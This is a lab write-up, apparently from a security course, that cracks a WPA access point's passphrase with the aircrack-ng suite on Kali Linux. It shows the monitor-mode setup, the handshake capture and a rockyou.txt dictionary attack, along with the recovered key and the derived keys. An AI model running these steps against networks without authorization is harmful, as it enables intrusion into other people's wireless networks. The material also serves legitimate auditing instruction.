

WIRELESS AUDIT

Aim:

To perform wireless audit on Access Point and decrypt WPA keys using aircrack-ng tool in Kali Linux OS.

Algorithm:

1. Check the current wireless interface with iwconfig command.
2. Get the channel number, MAC address and ESSID with iwlist command.
3. Start the wireless interface in monitor mode on specific AP channel with airmon-ng.
4. If processes are interfering with airmon-ng then kill those process.
5. Again start the wireless interface in monitor mode on specific AP channel with airmon-ng.
6. Start airodump-ng to capture Initialization Vectors(IVs).
7. Capture IVs for atleast 5 to 10 minutes and then press Ctrl + C to stop the operation.
8. List the files to see the captured files
9. Run aircrack-ng to crack key using the IVs collected and using the dictionary file rockyou.txt
10. If the passphrase is found in dictionary then Key Found message displayed; else print Key Not Found.

Output:

```
root@kali:~# iwconfig eth0
no wireless extensions.
```

```
wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off Encryption
key:off
Power Management:off lo no
wireless extensions.
```

root@kali:~# iwlist wlan0 scanning wlan0

Scan completed :

Cell 01 - Address: 14:F6:5A:F4:57:22 Channel:6

Frequency:2.437 GHz (Channel 6)

Quality=70/70 Signal level=-27 dBm

Encryption key:on

ESSID:"BENEDICT"

Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s

Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s

36 Mb/s; 48 Mb/s; 54 Mb/s **Mode:Master**

Extra:tsf=00000000425b0a37

Extra: Last beacon: 548ms ago

IE: WPA Version 1

Group Cipher : TKIP

Pairwise Ciphers (2) : CCMP TKIP

Authentication Suites (1) : PSK

root@kali:~# airmon-ng start wlan0

Found 2 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them!

PID Name

1148 NetworkManager

1324 wpa_supplicant

PHY Interface Driver Chipset phy0 wlan0 ath9k_htc Atheros
Communications, Inc. AR9271 802.11n

Newly created monitor mode interface wlan0mon is ***NOT*** in monitor mode. Removing non-monitor wlan0mon interface...

WARNING: unable to start monitor mode, please run "airmon-ng check kill"

root@kali:~# airmon-ng check kill

Killing these processes:

PID Name

1324 wpa_supplicant

root@kali:~# airmon-ng start wlan0

PHY Interface Driver Chipset phy0 wlan0 ath9k_htc Atheros
Communications, Inc. AR9271 802.11n

(mac80211 **monitor mode** vif enabled for [phy0]wlan0 on [phy0]**wlan0mon**)

(mac80211 station mode vif disabled for [phy0]wlan0)

root@kali:~# airodump-ng -w atheros -c 6 --bssid 14:F6:5A:F4:57:22 wlan0mon

CH 6][Elapsed: 5 mins][2016-10-05 01:35][**WPA handshake:** 14:F6:5A:F4:57:

| BSSID | PWR | RXQ | Beacons | #Data, #/s | CH | MB | ENC | CIPHER | AUTH | E |
|-------------------|-----|-----|---------|------------|------|-----|------|--------|------|---|
| 14:F6:5A:F4:57:22 | -31 | 100 | 3104 | 10036 0 6 | 54e. | WPA | CCMP | PSK | B | |

| BSSID | STATION | PWR | Rate | Lost | Frames | Probe |
|-------------------|-------------------|-----|------|------|--------|-------|
| 14:F6:5A:F4:57:22 | 70:05:14:A3:7E:3E | -32 | 2e- | 0 | 0 | 10836 |

root@kali:~# ls -l total 10348

```
-rw-r--r-- 1 root root 10580359 Oct 5 01:35 atheros-01.cap
-rw-r--r-- 1 root root    481 Oct 5 01:35 atheros-01.csv
-rw-r--r-- 1 root root    598 Oct 5 01:35 atheros-01.kismet.csv
-rw-r--r-- 1 root root   2796 Oct 5 01:35 atheros-01.kismet.netxml
```

root@kali:~# aircrack-ng -a 2 atheros-01.cap -w /usr/share/wordlists/rockyou.txt [00:00:52]
84564 keys tested (1648.11 k/s)

KEY FOUND! [rec12345]

Master Key : CA 53 9B 5C 23 16 70 E4 84 53 16 9E FB 14 77 49
A9 7A A0 2D 9F BB 2B C3 8D 26 D2 33 54 3D 3A 43

Transient Key : F5 F4 BA AF 57 6F 87 04 58 02 ED 18 62 37 8A 53
38 86 F1 A2 CA 0D 4A 8D D6 EC ED 0D 6C 1D C1 AF

81 58 81 C2 5D 58 7F FA DE 13 34 D6 A2 AE FE 05 F6 53 B8 CA A0 70 EC 02 1B EA 5F 7A
DA 7A EC 7D

EAPOL HMAC 0A 12 4C 3D ED BD EE C0 2B C9 5A E3 C1 65 A8 5C

Result: Thus, the wireless auditing and decrypting of WPA keys has been done successfully.